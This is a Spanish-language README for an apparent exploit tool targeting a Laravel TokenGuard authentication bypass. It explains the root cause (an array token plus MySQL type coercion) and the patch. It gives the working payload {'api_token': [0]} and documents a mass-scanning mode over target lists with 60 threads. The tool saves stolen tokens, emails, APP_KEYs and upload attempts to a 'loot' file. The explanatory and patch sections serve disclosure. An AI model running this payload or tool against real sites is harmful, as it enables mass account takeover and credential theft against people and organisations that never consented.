
Omisión de autenticación en Laravel TokenGuard mediante credenciales de API que no son cadenas
Omisión de autenticación en Laravel TokenGuard mediante credenciales de API que no son cadenas
Omisión de autenticación no autenticada en Laravel Framework — Guard de API TokenGuard
CVE-2026-114509 es una vulnerabilidad crítica de omisión de autenticación en el TokenGuard integrado de Laravel Framework.
Cuando se configura con un guard de API estándar basado en tokens sobre MySQL o MariaDB, un atacante no autenticado puede enviar una credencial manipulada que no es una cadena (un array JSON) que provoca que la búsqueda de autenticación coincida con un usuario existente no previsto, otorgando acceso completo sin conocer ningún token de API válido.
Esto conduce a una toma de control total de la cuenta en cualquier ruta protegida por el guard afectado.
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Software afectado | Laravel Framework (laravel/framework) |
| Versiones afectadas | < 12.68.0 y >= 13.0.0, < 13.29.0 |
| Tipo | Omisión de autenticación |
| CWE | CWE-287 — Autenticación incorrecta |
| CWE | CWE-1287 — Validación incorrecta del tipo de entrada especificado |
| Puntuación CVSS 4.0 | 9.2 / 10 — CRÍTICA |
| Vector CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Autenticación | No requerida (Pre-Auth) |
| Condición | Backend MySQL / MariaDB |
| Parche | v12.68.0 / v13.29.0 |
| Métrica | Valor | Significado |
|---|---|---|
| Vector de ataque | Red | Explotable de forma remota a través de internet |
| Complejidad del ataque | Baja | Sin condiciones especiales más allá de MySQL/MariaDB |
| Requisitos del ataque | Presentes | Requiere el comportamiento de coerción de tipos de MySQL/MariaDB |
| Privilegios requeridos | Ninguno | No se necesita autenticación |
| Interacción del usuario | Ninguna | No se requiere acción de la víctima |
| Confidencialidad | Alta | Acceso de lectura completo a los datos del usuario autenticado |
| Integridad | Alta | Puede modificar datos como el usuario suplantado |
| Disponibilidad | Alta | Puede interrumpir el servicio mediante la toma de control de la cuenta |
Se trata de un error de confusión de tipos en la frontera entre el análisis de solicitudes HTTP, la lógica del framework PHP y el comportamiento de la base de datos SQL. Tres comportamientos ordinarios se alinean para crear la vulnerabilidad:
TokenGuard acepta entradas que no son cadenas — El método user() en TokenGuard.php usa !empty($token) en lugar de is_string($token) && !empty($token). Los cuerpos de solicitud JSON pueden proporcionar arrays o enteros como valor del token.
EloquentUserProvider construye una consulta WHERE IN — Cuando retrieveByCredentials() recibe un valor de tipo array, genera WHERE api_token IN (...) en lugar de WHERE api_token = ....
Coerción de tipos de MySQL — MySQL convierte columnas de cadena a números para la comparación. El entero 0 coincide con cualquier cadena que no comience con un dígito (que es la mayoría de los tokens de API), porque MySQL convierte esas cadenas a 0.0.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
Laravel parcheó TokenGuard.php añadiendo una comprobación de tipo — si el token no es una cadena, el guard devuelve null inmediatamente y nunca llama al proveedor de usuarios:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
La herramienta admite dos modos: escaneo masivo y sondeo profundo de objetivo único.
Escanea una lista de objetivos en busca de la vulnerabilidad:
python CVE-2026-114509.py scan targets.txt
Opciones:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Flag | Predeterminado | Descripción |
|---|---|---|
targets | (obligatorio) | Archivo con las URL de destino (una por línea) |
--threads | 60 | Número de hilos concurrentes |
--timeout | 12 | Tiempo de espera de la solicitud en segundos |
Formato del archivo de destinos (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
Los objetivos sin un esquema usan
https://por defecto.
Archivos de salida (creados en el directorio del script):
| Archivo | Contenido |
|---|---|
LV_DETECTED.txt | Todas las aplicaciones Laravel detectadas |
LV_BYPASS.txt | Omisiones de autenticación confirmadas |
LV_UPLOAD.txt | Resultados de los intentos de carga |
LV_LOOT.txt | Datos extraídos (tokens, correos electrónicos, APP_KEYs, datos de usuario) |
Sondeo profundo de un único objetivo con salida detallada:
python CVE-2026-114509.py single https://target.com
Opciones:
python CVE-2026-114509.py single https://target.com --timeout 15